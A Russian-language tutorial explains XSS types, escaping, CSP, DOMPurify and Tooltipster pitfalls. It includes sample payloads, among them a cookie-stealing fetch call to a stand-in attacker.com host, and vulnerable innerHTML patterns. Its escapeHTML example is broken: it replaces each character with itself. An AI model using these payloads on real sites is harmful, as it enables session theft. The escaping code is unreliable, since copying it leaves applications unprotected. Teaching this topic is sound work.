XSS (Cross-Site Scripting) — это класс уязвимостей веб-приложений, позволяющий злоумышленнику внедрять и исполнять произвольный JavaScript-код в контексте браузера жертвы. Основная цель XSS — получить доступ к сессиям, данным пользователя или управлять интерфейсом приложения от имени жертвы.
Существует три основных типа XSS:
Reflected XSS Возникает, когда вредоносный скрипт передается через URL-параметры или данные формы и сразу отображается на странице без должной фильтрации. Пример:
<form action="/search">
<input type="text" name="q">
</form>
Если сервер возвращает результат поиска с подставленным значением
q без экранирования, злоумышленник может вставить
<script>alert('XSS')</script>.
Stored XSS Вредоносный код сохраняется на сервере (в базе данных, файлах или кэше) и автоматически отображается другим пользователям. Пример: комментарии к статье, форма обратной связи.
DOM-based XSS Скрипт внедряется через манипуляции с DOM на клиентской стороне. Здесь сервер может быть безопасен, но клиентский код некорректно обрабатывает данные. Пример:
const message = location.hash.substring(1);
document.getElementById('output').innerHTML = message;
Любой ввод в # части URL будет вставлен в
innerHTML без экранирования, что позволяет выполнить
XSS.
Основной принцип: внедрение кода, который браузер выполнит как часть страницы. Это может включать:
Кражу cookies и токенов аутентификации:
fetch('https://attacker.com/steal?cookie=' + document.cookie);Манипуляции с DOM: изменение видимого контента, внедрение фальшивых форм, редирект на фишинговые страницы.
Выполнение действий от имени пользователя: отправка форм, голосование, публикация комментариев.
Любые данные, вводимые пользователем, должны проходить экранирование перед отображением на странице:
<,
>, &, ", ' на
HTML-сущности.JSON.stringify.Пример безопасного вывода:
function escapeHTML(str) {
return str.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
document.getElementById('output').innerHTML = escapeHTML(userInput);
Политика CSP позволяет ограничить выполнение скриптов:
Content-Security-Policy: default-src 'self'; script-src 'self';
default-src 'self' запрещает загрузку ресурсов с
внешних доменов.script-src 'self' запрещает выполнение
inline-скриптов.При работе с динамическим содержимым следует использовать библиотеки, которые автоматизируют защиту от XSS:
Tooltipster — популярная библиотека для отображения всплывающих подсказок. Уязвимости XSS могут появляться при передаче данных:
Через content:
$('.tooltip').tooltipster({
content: '<img src=x oner ror=alert(1)>'
});
Здесь inline HTML выполнится напрямую в браузере.
Через AJAX-загрузку данных:
$('.tooltip').tooltipster({
contentAsHTML: true,
functionBefore: function(instance, helper){
$.get('/tooltip-data', function(data){
instance.content(data); // Если data не экранирована
});
}
});Защита:
Не использовать contentAsHTML: true без
экранирования.
Если нужно вставлять HTML, очищать его через DOMPurify:
instance.content(DOMPurify.sanitize(data));Минимизировать вставку данных напрямую из пользовательского ввода.
$('.tooltip').tooltipster({
content: 'Простой текст, безопасный для отображения'
});
Использовать шаблонизаторы с экранированием, если необходимо HTML.
Избегать прямой вставки пользовательского ввода
через contentAsHTML.
Проверять сторонние данные, особенно если они приходят с внешних API.
Регулярно обновлять библиотеку, так как Tooltipster исправляет выявленные XSS-уязвимости в новых версиях.
Эти меры обеспечивают комплексную защиту как от Reflected, так и от Stored и DOM-based XSS в веб-приложениях.